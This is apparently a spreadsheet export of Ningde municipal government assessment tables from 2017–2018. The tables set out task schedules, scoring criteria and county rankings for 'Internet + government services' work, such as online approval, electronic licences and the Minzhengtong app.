4、规范事项的办理条件、材料、流程、时限，做到“同一事项、同一标准、同一编码”。（数据采集单位：行政服务中心管委会） 市审改办 2 简化办事材料提交。 第四季度：各部门对照电子证照库，调整清理不属于网上办理的事项，清理现有办事中重复提交的材料，在行政审批和服务事项目录中明确以共享方式获取材料。实现网上办事大厅、市、县（市、区）行政审批系统、市民主页平台等办事服务平台与行政审批和服务事项目录、电子证照库对接，在事项办理过程中凡是电子证照库中有的电子证照不再要求公众重复提交材料。 10 1.完成调整清理不属于网上办理的事项和有清理简化办事材料的,在行政审批和服务事项目录中明确以共享方式获取材料，得5分，每发现一个事项未完成的扣1分，扣完为止。2.办事平台实现与电子证照库对接，各有关单位需积极配合市数字办进行系统对接。在事项办理过程中明确以共享方式获取材料，不再要求公众重复提交材料得5分，事项办理过程中发现一个无法获取材料的扣0.5分，扣完为止。 市数字办 3 推进服务事项网上办理 2017年6月底前，全市90%行政审批事项和公共服务事项（即省网上办事大厅“三星级”及以上的办事事项）实现网上办理。 2017年第2季度 市直各部门按星级服务标准标识相应入驻省网办事大厅事项，90%的办事事项开通3星级以上服务通道。 宣传引导企业和群众通过网上办事大厅申报办件，多走“网路”。审批窗口人员应根据申请人实际情况提供标准化服务。 宁德市本级及所辖10个县级中心已达到90%行政审批事项和公共服务事项（即省网上办事大厅“三星级”及以上的办事事项）实现网上办理。 5 在省网上办大厅各县（市、区）分厅查询开通“三星级”及以上的办事事项的比例，已达90%以上得5分，每少1%扣0.2分。 已达90%以上得 分，每少1%扣0.01分。 市行政服务中心管委会 4 实现审批事项跨层级在线联动办理、主动服务。 2017年底前，完成省网上办事大厅和市、县（市、区）行政审批系统的流程对接，支持审批事项跨层级在线联动办理。 2017年第2季度 梳理在线联动办理事项，流程对接接口开发 软件开发商已确定 10 1.省网上办事大厅和县（市、区）行政审批系统的流程对接情况，已流程对接成功得2分，未对接不得分。 2.查看跨层级在线联动办理事项目录，已梳理跨层级在线联动办理事项目录，根据目录的完整情况从1-5分之间酌情给分，未梳理不得分。 3.查看跨层级在线联动办理事项实际办理量。根据办件量多少从0--3分之间酌情给分 1.已流程对接成功得2分，未对接不得分 2.已梳理跨层级在线联动办理事项目录，根据目录的完整情况从1-5分之间酌情给分，未梳理不得分。 3.根据办件量多少从0--3分之间酌情给分 市行政服务中心管委会 5 推进实体政务大厅与网上服务平台融合发展 第四季度：实现非密政务行政审批和服务事项全部进驻实体政务大厅，实行事项集中办理、一站式办结；开展实体政务大厅和网上服务平台服务流程融合，共享后台基础数据库和流程信息，实现预约、咨询、受理、办理、查询、反馈等环节的线上线下无缝衔接。依托省网上办事大厅，对接全省统一的预约服务功能，对接EMS第三方物流快递信息平台、多卡融合平台、财政非税收入支付平台，实现线上与线下全流程闭环服务。 10 1.查看非密政务行政审批和服务事项目录。无目录的不得分，有事项目录的根据目录的完整情况从1-3分之间酌情给分。 2.查看实体政务大厅进驻事项与事项目录比对情况。从1-5分之间酌情给分。 3.查看政务大厅线上线下无缝对接情况从0-2分之间酌情给分。 1.未梳理非密政务行政审批和服务事项目录的不得分，有事项目录的根据目录的完整情况从0.1-0.5分之间酌情给分。 2.实体政务大厅进驻事项与事项目录比对情况从0.1-0.5分之间酌情给分。 3.政务大厅线上线下无缝对接情况从0.1-0.5分之间酌情给分。 4.对接全省统一的预约服务功能，对接EMS第三方物流快递信息平台、多卡融合平台、财政非税收入支付平台情况从0.5-1分之间酌情给分。 市行政服务中心管委会 6 推动基层服务网点与网上服务平台无缝对接。 第四季度：建成社区综合受理平台，实现社区综合服务窗口在全市乡镇（街道）、村（社区）全覆盖，打造“便民15分钟服务圈”。 5 1.查看社区综合受理平台验收（或初验）文档，已建成得2分，未建成不得分。 2.查看相关资料，该平台在辖区内乡镇（街道）、村（社区）覆盖率区间位于30%至60%得1分，61%至90%得2分，91%至100%得3分。 市数字办 7 推进政务数据汇聚共享 第四季度：建设市级政务数据汇聚共享平台，汇聚整合各部门人口、法人数据，形成可供高效共享和分析挖掘的人口、法人数据云。 5 1.查看相关资料。市级政务汇聚共享平台建设项目（或其他项目涵盖该平台功能）完成招标流程，得3分。 2.查看相关资料。市级政务汇聚共享平台建设项目（或其他项目涵盖该平台功能）进入实施阶段，得2分。 市数字办 8 加快新型智慧城市建设 第四季度：在能源监测、车辆监控、环境监测、船舶监控、公用事业等领域启动一批物联网重大应用工程，推动交通等重点领域应用。 5 查看相关资料。能源监测、车辆监控、环境监测、船舶监控、公共事业等领域的重大应用工程以及交通灯重点领域应用每启动一项（以项目立项为节点）得5分。 市数字办 【工作表：Sheet1 (2)】 宁德市行政服务中心管委会关于《宁德市人民政府关于印发加快推进“互联网+政务服务”工作方案》 中由本管委会牵头部分工作任务的2017年考核办法 填报时间：2017年4月6日 序号 工作任务 时间安排 具体贯彻办法 目前进度情况 备注 1 （四）推进服务事项网上办理。 2017年6月底前，全市90%行政审批事项和公共服务事项（即省网上办事大厅“三星级”及以上的办事事项）实现网上办理。 2017年第2季度 市直各部门按星级服务标准标识相应入驻省网办事大厅事项，90%的办事事项开通3星级以上服务通道。 宣传引导企业和群众通过网上办事大厅申报办件，多走“网路”。审批窗口人员应根据申请人实际情况提供标准化服务。 宁德市本级及所辖10个县级中心已达到90%行政审批事项和公共服务事项（即省网上办事大厅“三星级”及以上的办事事项）实现网上办理。 2018年底前，针对各事项逐项调整原有纸质材料受理反馈制度，不得拒绝经电子签名以电子形式提交的申报材料，实现30%的行政审批和服务事项全程网办（即省网上办事大厅“四星级”及以上的办事事项）。 2017年第2季度 市直各部门将四星级以上事项的服务指南上标明：可以受理经电子签名的可信电子文件。30%的办事事项开通4星级以上服务通道。 配合市数字办督促部门在事项办结时同步生成电子证照推送给申请人。 宣传推广政务通的使用。 宁德市本级及所辖10个县级中心已实现30%的行政审批和服务事项全程网办（即省网上办事大厅“四星级”及以上的办事事项）。 2020年底前，实现60%行政审批和服务事项全程网办；在行政审批和服务事项目录中明确事项受理和结果反馈方式。 2017年第2季度 市直各部门将四星级以上事项的服务指南上标明：可以受理经电子签名的可信电子文件。60%的办事事项开通4星级以上服务通道。 配合市数字办督促部门在事项办结时同步生成电子证照推送给申请人。 宣传推广政务通的使用。 宁德市本级及所辖10个县级中心已实现60%行政审批和服务事项全程网办。 2 （五）实现审批事项跨层级在线联动办理、主动服务。 2017年底前，完成省网上办事大厅和市、县（市、区）行政审批系统的流程对接，支持审批事项跨层级在线联动办理。 2017年第2季度 梳理在线联动办理事项，流程对接接口开发 软件开发商已确定 2017年第3季度 在线联动办理调试测试 2017年第4季度 全面启动在线联动办理事项网上办理 2020年底前，大多数行政审批和服务事项实行主动服务，主动服务成为政务服务的主要提供方式。鼓励市、县（市、区）直部门依托现有的审批办理平台构建集证后监管、政务指导一体化、智能化的信息服务平台，努力实现‘不跑腿，好办事’的目标。 2017年第2季度 调研梳理比较容易实现主动服务的事项 2017年第3季度 调研梳理比较容易实现主动服务的事项 2017年第4季度 试行比较容易实现主动服务的事项 2018年第1季度 2018年第2季度 2018年第3季度 2018年第4季度 2019年第1季度 2019年第2季度 2019年第3季度 2019年第4季度 2020年第1季度 2020年第2季度 2020年第3季度 2020年第4季度 3 （十）推进实体政务大厅与网上服务平台融合发展 2017年底前，实现非密政务行政审批和服务事项全部进驻实体政务大厅，实行事项集中办理、一站式办结；开展实体政务大厅和网上服务平台服务流程融合，共享后台基础数据库和流程信息，实现预约、咨询、受理、办理、查询、反馈等环节的线上线下无缝衔接。依托省网上办事大厅宁德分厅，对接全省统一的预约服务功能，对接EMS第三方物流快递信息平台、多卡融合平台、财政非税收入支付平台，实现线上与线下全流程闭环服务。 2017年第2季度 对接市审改办的非密政务行政审批和服务事项审改清单及省市县级纵向清单，列明未进驻实体大厅事项。 2017年第3季度 在市行政服务中心新大楼正式投入使用之际，扩大办事大厅面积，实现非密政务行政审批和服务事项全部进驻实体政务大厅，实行事项集中办理、一站式办结。 2017年第4季度 对接省网上办事大厅服务流程融合及预约服务功能，对接EMS第三方物流快递信息平台、多卡融合平台、财政非税收入支付平台接口开发进程，布署对接我市分厅相应功能，实现线上线下无缝衔接全流程闭环服务。 4 （十五）建立健全网上办事大厅运行管理办法 2018年底前，完善网上办事大厅运行管理办法，进一步规范平台的运行和管理 2017年第2季度 调研学习省内兄弟市的网上办事大厅运行管理办法 2017年第3季度 调研学习省外网上办事大厅运行管理办法 2017年第4季度 对接省网上办事大厅有关运行管理办法，制定本市的网上办事大厅运行管理办法（试行） 2018年第1季度 2018年第2季度 2018年第3季度 2018年第4季度 【工作表：ltsr7s9r】 附件2：2018年度市直部门“互联网+政务服务”绩效指标考核表.xls Book1 C:\Program Files\Microsoft Office\OFFICE11\xlstart\Book1. **Auto and On Sheet Starts Here** 3 Classic.Poppy by VicodinE…

【工作表：县（市、区）评分表 】 附件1 2018年度各县（市、区）“互联网+政务服务”绩效指标考核表 考核内容 考核标准 负责考核 单位 本项 分值 一级 指标 序 号 二级考核指标内容 一、福建省网上办事大厅应用 1 权责、中介服务、前置审批等清单入驻省网上办事大厅情况 县（市、区）含所辖乡镇（街道）的权责、中介服务、前置审批、最多跑一趟、一趟不用跑事项等清单在省网上办事大厅要及时、准确公开，接受社会监督，并根据法律法规规章调整等情况实行动态调整，检查发现缺漏一项或者信息内容不准确、不全面的扣2分。 市审改办 10 2 事项入驻省网上办事大厅情况 县（市、区）含所辖乡镇涉及群众、企业及其他社会组织依申请办理的所有行政权力事项（除涉密及敏感事项外）按照应进必进原则，全部入驻省网上办事大厅，实行一网网上办理，同时根据动态调整机制，实时更新，检查发现一个事项未入驻或未更新的扣2分。 市行政服务中心管委会、市审改办 10 3 省网上办事大厅各类事项和清单信息发布规范、准确、完整情况 省网上办事大厅发布的县（市、区）含所辖乡镇（街道）各类事项与清单信息规范、准确、完整，链接有效，办事指南信息要素全面、内容准确、流程清晰、材料明确、附件实用，检查发现一项信息不符合要求扣1分。同个县（市、区）所辖的不同乡镇（街道）的同个单位的行政审批和服务事项的事项目录、事项名称、事项类别、法律依据、办理条件、申报材料等，做到“同一事项、同一标准”，发现1个不统一的，扣1分。 20 4 自建网上办事系统的事项指南信息与省网上办事大厅一致，支持账号单点登录 自建网上办事系统（含业务系统、网站、微信、政务服务APP等）发布的事项信息与省网上办事大厅保持一致的，满分10分，发现1项不一致的扣1分；自建网上办事系统支持省网上办事大厅注册账户单点登录的得5分。 市行政服务中心管委会 15 5 事项星级设置 省网上办事大厅的事项星级设定与实际办理情况明显不符或与申报材料要求出现自相矛盾的，发现1项扣1分，满分10分；本地区在省网上办事大厅发布的事项开通“四星级”、“五星级”服务的事项占比≧30%，不达标的扣5分。 15 6 省网上办事大厅预审及时率 审批办理人须在两个工作日内对省网上办事大厅网上申请件进行预审处理，预审及时率每1%得0.1分。 10 7 省网上办事大厅四星、五星服务事项受理及时率 四星、五星服务事项预审通过后，须在本地自建网上办事系统一个工作日内受理，受理及时率每1%得0.1分。 10 8 省网上办事大厅预审规范 按照承诺星级服务标准做出预审决定和意见，预审意见清晰完整、有指导性，预审不规范每件扣1分。 10 9 报送的办件信息完整率 报送的办件信息须满足《省网上办事大厅行政审批业务核心数据指标》要求，数据完整的办件占总办件数比率，每1%得0.1分，满分10分。 10 一、福建省网上办事大厅应用 10 事项开通文件快递与非税收入网上支付 建立文件快递制度的事项占总事项数，每10个百分点得1分，满分5分。采用电子支付方式缴费事项占总缴费事项数，每1个百分点得1分，满分5分。 市行政服务中心管委会 10 11 省网上办事大厅申报比率和网上申报投诉情况 网上申报率，指从省网上办事大厅申报的办件占总办件的比例，每1%得1分。强制行政相对人在现场进行网上申报的，被投诉一次，扣1分。 10 12 办件办理信息上报省网上办事大厅及时率 未能在一天（24小时）内完成办件办理信息及时报送的，每少10个百分点扣1分。 10 13 省网上办事大厅分厅链接情况 未在当地政府和行政服务中心（或市民服务中心）网站首页显著位置固定设立省网上办事大厅本地分厅链接的，抽查发现一次扣5分。 5 14 省网上办事大厅对接前置机日常维护 对与省网上办事大厅对接的前置机等技术环境日常维护不到位，故障频发，或省级运维管理人员已发出故障通知情况下，不及时排除的，每发现一次扣3分。 5 二、福建省投资项目在线监管平台应用 15 投资项目取码和录入情况 未按照投资建设项目取码相关规定进行项目取码登记的，如投资建设项目编码发现重复取码或者未取码的、将项目分成子项目进行多次取码、项目信息填写错误的等情况，发现1例扣1分；未在审批系统办理投资建设项目编码信息登记的，发现1例扣1分。 10 16 投资项目审批事项管理 投资项目审批事项需全部纳入省投资项目监管平台，并在省网上办事大厅事项发布库做好相应投资项目事项的配置，发现1个事项不符合要求的扣1分。 10 17 投资项目在线监管平台信息的报送情况 纳入监管平台的投资项目基本信息、审批过程信息（包括办件基本信息、办件环节信息）、法人信息正确率，每项>95%的，得5分，在90%和95%之间的，得3分，其余情况不得分； 15 三、行政服务中心网上审批系统应用 18 乡镇（街道）应用网上审批系统的情况 积极推进县（市、区）所辖的乡镇（街道）单位行政审批服务事项纳入当地行政服务中心网上审批系统进行“一张网”管理、办理、监督的，1个乡镇（街道）符合的，加2分。 10 19 审批事项跨层级在线联动办理 完成县（市、区）网上审批系统与省网上办事大厅省级单位事项跨层级联动审批对接开发，加4分，有办理具体省市联动业务的，加1分；完成县（市、区）网上审批系统与宁德市网上审批系统跨层级联动审批对接开发，加3分，有办理具体市县联动业务的，加2分；完成乡镇与县（市、区）事项跨层级联动审批对接开发，加4分，有办理具体县乡联动业务的，加1分。 15 20 网上审批系统与政务服务数据平台的信息共享应用 完成网上审批系统对接省、市电子证照库、法人信息库、人口息库、省市两级政务数据汇聚共享系统、单位自建业务系统等政务服务数据平台，实现信息共享，有效解决群众反复提交材料和证明的堵点问题，每对接1个平台、并有深度应用加5分。 15 21 3星及以上星级事项申报件办理情况 3星及以上星级事项申报业务必须是申请人主动申报，不得强制申请人网上申报和放弃申报，预审通过的申报业务必须要有上传电子材料，电子申报材料不齐全要做预审补件处理，申请人已按星级事项办理要求申报，审批人需提供对应的星级承诺服务，未按规定办理，发现1次扣1分。 15 三、行政服务中心网上审批系统应用 22 省网上办事大厅全流程办理业务情况 办理省网上办事大厅5星级事项申报业务中，做到全流程网上办理（在线申请、网上预审、网上受理、网上办结），申请人不需再提交纸质材料，无需跑现场窗口，符合全流程办理要求的每1件加0.5分。 市行政服务中心管委会 10 23 建立网上办事大厅运行管理办法 有建立切实可行的网上办事大厅运行管理办法，进一步规范平台的运行和管理，加5分。 5 四、推进“互联网+审批便民服务”工作建设 24 全流程网办事项数量和占比 在省网上办事大厅或其他审批系统、服务平台、APP、自助机等渠道可达到全流程网上办理（不含邮寄事项），无需提交纸质材料，也无需领取纸质审批结果的事项(在不同平合上相同事项不重复计算)，按全流程网办事项数量和全流程网办事项占行政审批和服务事项比例进行综合测算(测算公式为：(数量排名+占比排名)/2=综合排名，如某地区事项数量排名第一，占比排名第3，则综合排名为(1+3)/2=2)，综合测算后按综合排名依次得分，第一名10分，第二名9分，第三名8分，以此类推。市行政服务中心管委会和市审改办将结合实地考核进行抽查，每发现1项事项不符合要求，扣1分，最高扣分10分。 10 25 乡镇（街道）服务中心24小时自助服务区建设 有条件的乡镇（街道）服务中心大厅，对可通过自助服务解决的公共服务事项，开辟自助服务区，设置自助服务一体机，为群众办事提供全天候服务的，1个乡镇加1.5分，满分5分。 5 26 大厅智便民能化服务建设 认真做好评价器、取号机、事项查询机、省效能办远程视频监督系统、市县视频联动会议系统等日常管理工作，如果出现故障未及时维护的，发现1次扣2分。 5 27 网上服务平台与实体政务大厅融合发展 网上办事服务对接闽政通APP、网站、微信,具备预约、咨询、受理、办理、查询、反馈等服务功能，实现线上线下办事服务无缝衔接，同时整合各乡镇网上办事服务平台，建立“一张网”网上办事服务平台，最高加10分。 10 28 推行省网上办事大厅智能化审批服务 积极配合省网上办事大厅推行开展智能化审批服务试点相关工作，并认真整理报送符合智能化审批条件的审批服务事项的，加2分；每开通一项智能化审批服务事项（备注：该事项需经省网上办事大厅确认满足智能化审批条件，并做开展应用），加1分。本项最高加分10分。 10 五、电子证照生成和应用 29 对接宁德市电子证照库 县（市、区）行政服务中心网上审批系统对接宁德市电子证照库，实现在网上审批系统电子证照（批文）实时生成、推送入库和应用的，加10分。 市数字办、市行政服务中心管委会 10 30 事项申报材料和办理结果中的证照（批文）操作情况 在省网上办事大厅的事项发布库中，事项申报材料中需要提交证照（批文）的，必须要选择材料收取方式为“电子证照”并做好对应证照（批文）绑定，事项办结结果生成证照（批文）的，必须填写证照（批文）名称和上传证照（批文）样本，发现1项不符合要求的，扣1分。 10 31 单位证照（批文）印章和模板情况 完成电子证照（批文）生成工作所需的电子印章申请、制作和所有电子证照（批文）模板建立的情况，每发现一个单位不符合要求的，扣1分。 市数字办 5 32 “不再重复受理”的证照清单工作情况 积极配合并做好“不再重复受理”的证照清单相关工作的，加5分。（注：“不再重复受理”的证照清单，由各县（市、区）汇总报送至市数字办，市数字办反馈省数字办，省数字办汇总会同各设区市确定后公布，并同步与本级审改办衔接，修订相应的办事指南。） 市数字办、市行政服务中心管委会、市审改办 5 33 新增证照生成 所有审批服务件都实现电子证照同步生成的，得15分；未生成证照或未及时归集到电子证照库的，发现一处错漏的扣1分，直至扣完。 市数字办 15 34 存量证照转化 通过电子证照库查看其存量证照生成情况，全部完成的得20分；未全部完成的，发现一处错漏的扣1分，直至扣完；(加分情况：县（市、区）完成存量证照转化数量、质量综合情况前三名依次得分，第1名得5分，第2名得2.5分，第3名得1.5分）。 20 35 电子证照应用 通过省网上办事大厅、县（市、区）行政审批系统检查其电子证照在审批服务办件中的应用情况,实现全部免于提交纸质证照的得20分；未全部实现的，发现一处错漏的扣1分，直至扣完。 市行政服务中心管委会、市数字办 20 六、闽政通APP建设配合和保障情况 36 便民服务事项梳理情况 2018年9月底前，按相关通知要求规范梳理、反馈便民服务事项清单（不少于50项）并通过政府门户网站集中全面公开的,得20分；年底前完成，得10分；未完成，不得分。 市数字办 20 37 便民服务事项接入数量情况 （1）可全流程网上办理的服务事项，每接入一个得10分。（2）可以实现预约、缴费、申报或报考（名）等单项功能的服务事项，每接入一个得7分。（3）只能实现查询功能的服务事项，每接入一个得5分。（4）上述三项便民服务事项的任一事项以服务集成、数据集成方式接入的，得3分，累计得分不超过10分。（全国或全省统一部署的应用系统，不重复计算）。 10 38 协助推广情况 （1）在行政服务中心、分中心、乡镇便民中心、派出所等面向社会公众的公共办事地点进行推广的，每在一个地点进行推广的，得1.5分；（2）在机关办公场所等公共场所进行推广的，每在一个地点进行推广的，得1分；在政府网站、微信公众号、APP等线上渠道进行推广的，每在一个渠道进行推广的，得1分。累计得分不超过25分 25 39 系统保障情况 接入闽政通APP出现故障的，根据下列情况按照出现次数扣分：在2个小时内修复的，不扣分；在2-24个小时内修复的，每次扣2分；超过24个小时修复的，每次扣分4分。 七、数据中心整合、政务数据汇聚共享 40 数据中心整合迁移 按全市统一规划完成县（市、区）应用系统整合迁移的，根据已完成迁移的系统比例得分（公式：迁移数/规划迁移数*30）。（未涉及本年度应用系统整合迁移规划的县（市、区），本项不扣分） 市数字办 30 41 配合宁德市政务大数据平台建设情况 按宁德市政务大数据平台建设项目的相关通知要求，配合“宁德市政务大数据平台”建设调研并按要求反馈“信息资源调研表”的得10分；配合完成信息资源汇聚的，根据完成汇聚的信息项比例得分（公式：已完成汇聚的信息项/要求完成汇聚的信息项*10，满分10分。（通知未涉及的县（市、区），本项不扣分） 20 42 向市汇聚共享平台提出面向公共应用和单位业务数据共享服务需求 搜集、整理县（市、区）政府各单位面向公共应用和单位业务数据共享服务需求（信息项不少于20项），并及时向市汇聚共享平台提出需求的，得15分；按照统一规划成功进行数据共享的，得10分。 25 43 配合解决省级单位自建系统与行政服务中心网上审批系统“二次录入”问题 县（市、区）配合省级单位自建系统为满足县（市、区）行政服务中心网上审批系统解决“二次录入”办件信息问题，主动接收有关行政审批和公共服务办件信息。县（市、区）梳理出需解决“二次录入”行政审批和公共服务事项需求清单的，得5分；县（市、区）按要求配合省政务数据汇聚共享平台，做好接收和处理办件信息的，得5分。 市行政服务中心管委会、数字办 10 八、用户体验 44 现场服务窗口跑几次与省网上办事大厅承诺对比 现场服务窗口跑几次，10分。用户体验与省网上办事大厅承诺一致的，1个百分点得0.1分；多于省网上办事大厅承诺1次的，1个百分点得0.06分；多于省网上办事大厅承诺2次及以上的，不得分。 市行政服务中心管委会 10 45 工作人员服务态度 工作人员服务态度，10分。用户体验为“很满意”的，1个百分点得0.1分；为“基本满意”的，1个百分点得0.06分；为“不满意”的，不得分。 10 46 网上办事效率 网上办事效率，10分。用户体验为“很满意”的，1个百分点得0.1分；为“基本满意”的，1个百分点得0.06分；为“不满意”的，不得分。 10 47 办事指南准确度 办事指南准确度，10分。用户体验为“准确”的，1个百分点得0.1分；为“基本准确”的，1个百分点得0.06分；为“不准确”的，不得分。 10 48 随机电话回访 随机电话回访，10分。用户体验为“很满意”的，1个百分点得0.1分；为“基本满意”的，1个百分点得0.06分；为“不满意”的，不得分。 10 九、创新工作 49 “互联网+政务服务”典型做法 各地推进“互联网+审批便民服务”工作中有创新改革举措的，经验可复制推广的，并在社会有良好反响的，经考评组评议酌情加分，最高不超过30分。 市数字办、行政服务中心管委会、审改办 30 总分 600 【工作表：Sheet4】 2017年度各县（市、区）绩效指标评分表 （“互联网+政务服务”） 县别 考核分 名次 折算成100分的考核分 蕉城区 70.65573770491804 1 99.5 福鼎市 69.88524590163935 2 99.2 福安市 69.85245901639345 3 99 周宁县 69.78688524590164 4 98.8 柘荣县 69.57377049180327 5 98.6 屏南县 69.34426229508198 6 98.3 寿宁县 68.75409836065573 7 98.1 古田县 67.62295081967214 8 98 霞浦县 65.29508196721312 9 97.5 东侨区 70.29508196721312 单列 99.4 【工作表：Sheet2 (2)】 省对市绩效考核总分1000分，行政服务质量占30分，“互联网+政务服务”占行政服务质量中的35%即10.5分 序号 考核内容 方案要求 考核标准 一 “互联网+政务服务”总体推进及年度工作任务完成情况 1.未完成《宁德人民政府办公室关于加快推进“互联网+政务服务”工作方案》2017年度工作任务按附件2《考核办法》扣分，满分60分。 2.未完成本县（市、区）制定的“互联网+政务服务”工作方案2017年度工作任务1项扣10分，满分40分。 1.规范网上服务事项。 第四季度：对接省、市、县（区）行政审批和公共服务事项目录（简称行政审批和服务事项目录）参考目录，建立网上审批事项目录更新调整机制，依托市政府门户网站和网上办事大厅集中公开发布；编制乡镇（街道）行政审批和服务事项目录，启动服务事项编码管理，按照参考目录，规范全市事项名称、条件、材料、流程、时限等，做到“同一事项、同一标准、同一编码”。 1、做好省、市行政审批和服务事项参考目录衔接工作，规范事项名称。未按审改办要求衔接到位扣1分。（数据采集单位：审改办） 2、建立市、县、乡各级网上审批事项目录更新调整机制。未及时在市、县政府门户网站和网上办事大厅集中公开发布的扣1分。（数据采集单位：行政服务中心管委会） 3、编制乡镇（街道）行政审批和服务事项目录。（数据采集单位：审改办） 4、规范事项的办理条件、材料、流程、时限，做到“同一事项、同一标准、同一编码”。（数据采集单位：行政服务中心管委会） 2.简化办事材料提交。 第四季度：各部门对照电子证照库，调整清理不属于网上办理的事项，清理现有办事中重复提交的材料，在行政审批和服务事项目录中明确以共享方式获取材料。实现网上办事大厅、市、县（市、区）行政审批系统、市民主页平台等办事服务平台与行政审批和服务事项目录、电子证照库对接，在事项办理过程中凡是电子证照库中有的电子证照不再要求公众重复提交材料。 1.完成调整清理不属于网上办理的事项和有清理简化办事材料的,在行政审批和服务事项目录中明确以共享方式获取材料，得5分，每发现一个事项未完成的扣1分，扣完为止。 2.办事平台实现与电子证照库对接，各有关单位需积极配合市数字办进行系统对接。在事项办理过程中明确以共享方式获取材料，不再要求公众重复提交材料得5分，事项办理过程中发现一个无法获取材料的扣0.5分，扣完为止。 3.推进服务事项网上办理 2017年6月底前，全市90%行政审批事项和公共服务事项（即省网上办事大厅“三星级”及以上的办事事项）实现网上办理。 在省网上办大厅各县（市、区）分厅查询开通“三星级”及以上的办事事项的比例，已达90%以上得5分，每少1%扣0.2分。 4.实现审批事项跨层级在线联动办理、主动服务 2017年底前，完成省网上办事大厅和市、县（市、区）行政审批系统的流程对接，支持审批事项跨层级在线联动办理。 1.省网上办事大厅和县（市、区）行政审批系统的流程对接情况，已流程对接成功得2分，未对接不得分。 2.查看跨层级在线联动办理事项目录，已梳理跨层级在线联动办理事项目录，根据目录的完整情况从1-5分之间酌情给分，未梳理不得分。 3.查看跨层级在线联动办理事项实际办理量。根据办件量多少从0--3分之间酌情给分 5.推进实体政务大厅与网上服务平台融合发展 第四季度：实现非密政务行政审批和服务事项全部进驻实体政务大厅，实行事项集中办理、一站式办结；开展实体政务大厅和网上服务平台服务流程融合，共享后台基础数据库和流程信息，实现预约、咨询、受理、办理、查询、反馈等环节的线上线下无缝衔接。依托省网上办事大厅，对接全省统一的预约服务功能，对接EMS第三方物流快递信息平台、多卡融合平台、财政非税收入支付平台，实现线上与线下全流程闭环服务。 1.查看非密政务行政审批和服务事项目录。无目录的不得分，有事项目录的根据目录的完整情况从1-3分之间酌情给分。 2.查看实体政务大厅进驻事项与事项目录比对情况。从1-5分之间酌情给分。 3.查看政务大厅线上线下无缝对接情况从0-2分之间酌情给分。 6.推动基层服务网点与网上服务平台无缝对接。 第四季度：建成社区综合受理平台，实现社区综合服务窗口在全市乡镇（街道）、村（社区）全覆盖，打造“便民15分钟服务圈”。 1.查看社区综合受理平台验收（或初验）文档，已建成得2分，未建成不得分。 2.查看相关资料，该平台在辖区内乡镇（街道）、村（社区）覆盖率区间位于30%至60%得1分，61%至90%得2分，91%至100%得3分。 7.推进政务数据汇聚共享 第四季度：建设市级政务数据汇聚共享平台，汇聚整合各部门人口、法人数据，形成可供高效共享和分析挖掘的人口、法人数据云。 1.查看相关资料。市级政务汇聚共享平台建设项目（或其他项目涵盖该平台功能）完成招标流程，得3分。 2.查看相关资料。市级政务汇聚共享平台建设项目（或其他项目涵盖该平台功能）进入实施阶段，得2分。 8.加快新型智慧城市建设 第四季度：在能源监测、车辆监控、环境监测、船舶监控、公用事业等领域启动一批物联网重大应用工程，推动交通等重点领域应用。 查看相关资料。能源监测、车辆监控、环境监测、船舶监控、公共事业等领域的重大应用工程以及交通等重点领域应用每启动一项（以项目立项为节点）得5分。 二 “一趟不用跑”和“最多跑一趟”办事清单完成情况 1.未制定推行“一趟不用跑”和“最多跑一趟”办事清单的实施方案，扣20分。满分20分。 2.未按时公布第一批“最多跑一趟”办事清单，扣20分。满分20分。 3.未按时公布第二批“一趟不用跑”和“最多跑一趟”办事清单，扣30分。满分30分。 4.未按时公布第三批“一趟不用跑”和“最多跑一趟”办事清单，扣30分。满分30分。 三 福建省网上办事大厅应用情况 1.辖区内乡镇（街道）全部完成行政审批和公共服务事项梳理并入驻省网上办事大厅的，得10分，缺失一个乡镇（街道）扣1分，最高扣10分。 2.纳入闽政通APP项目的便民服务事项，全部同步入驻全省网上办事大厅，对应的应用系统与全省网上办事大厅实现对接的，得10分。未完成对接和入驻的，按比例扣分。 3.网上申报率，指从省网上办事大厅申报的办件占总办件的比例，每1%得1分，最高得10分。 4.审批办理人须在两个工作日内对省网上办事大厅网上申请件进行预审处理，预审及时率每1%得0.2分，最高得20分。 5.审批办理人以“材料不齐全”“材料有误”等含糊原因，对网上申请件做预审不通过处理的，或未在预审意见中具体说明不通过的合理原因的，抽查发现一件扣2分，未发现问题得10分。 6.报送的办件信息须满足《省网上办事大厅行政审批业务核心数据指标》要求，数据完整的办件占总办件数比率，每1%得0.1分，满分10分。在一天内（24小时）完成办件办理信息及时报送的，得5分，每少4个百分点扣1分，扣至0分为止。 7.在当地政府和行政服务中心（或市民服务中心）门户网站首页显著位置设立省网上办事大厅本地分厅链接的得10分，全年不定期抽查发现未设立一次扣2分，扣至0分为止；利用省网上办事大厅实现用户认证或实现交叉认证的，得5分，未实现的不得分。 8.对与省网上办事大厅对接的前置机等技术环境日常维护不到位，故障频发，或省级运维管理人员已发出故障通知情况下，不及时排除的，每发现一次在总分中扣3分。 9.投资项目在线审批监管信息的报送情况。纳入监管平台的投资项目基本信息报送正确率达到95%的，得4分；达到90%的，得2分；其余情况不得分。监管平台的投资项目审批过程信息（包括办件基本信息、办件环节信息）正确率达到80%的，得4分；达到60%的，得2分；其余情况不得分。纳入监管平台的法人信息正确率达到90%的，得2分；达到80%的，得1分；其余情况不得分。 10.建立文件快递制度的事项占总事项数，每10个百分点得2分，满分10分。采用电子支付方式缴费事项占总缴费事项数，每1个百分点得1分，满分5分。 四 闽政通APP建设配合和保障情况 1.政务服务资源梳理情况，30分：一是项目前期调研反馈情况，10分。按照《福建省数字福建建设领导小组办公室 福建省行政审批制度改革工作小组办公室关于开展省政务服务APP统一平台项目前期调研的通知》（闽数字办函〔2017〕6号)、《政务服务APP前期调研》（宁数字办〔2017〕3号）要求反馈《福建省政务服务APP统一平台项目（设区市）梳理调研表》的，得10分;未及时反馈的,得0分。二是开展便民服务事项梳理的，得10分；未开展的，得O分。三是项目建设期间详细调研反馈情况，满分10分。及时登录“闽政通APP适用信息资源管理系统”确认、修改适用信息资源，并配合项目建设单位做好本地区政务服务资源梳理、调研，按时、完整反馈材料的，得10分；未按时反馈材料或反馈材料不完整的，得5分；未配合的，得O分。 2.适用APP的政务服务资源接入情况，50分。（1）可全流程办理的服务事项，每接入一个得50分。（2）可以实现报考（名）、申报、预约、缴费或查询等单项功能的服务事项，每接入一个得20分。（3）其他服务事项（网站便民服务栏目），每接入一个得10分。以上合计，最高得50分（全国或全省统一部署的应用系统，不重复计算）。 3.已接入的政务服务资源保障情况，20分。接入系统出现故障的，根据下列情况按照出现次数扣分：在2个小时内修复的，不扣分；在24个小时内修复的，每次扣2分；超过24个小时修复的，每次扣分4分。 五 12345便民服务平台应用情况 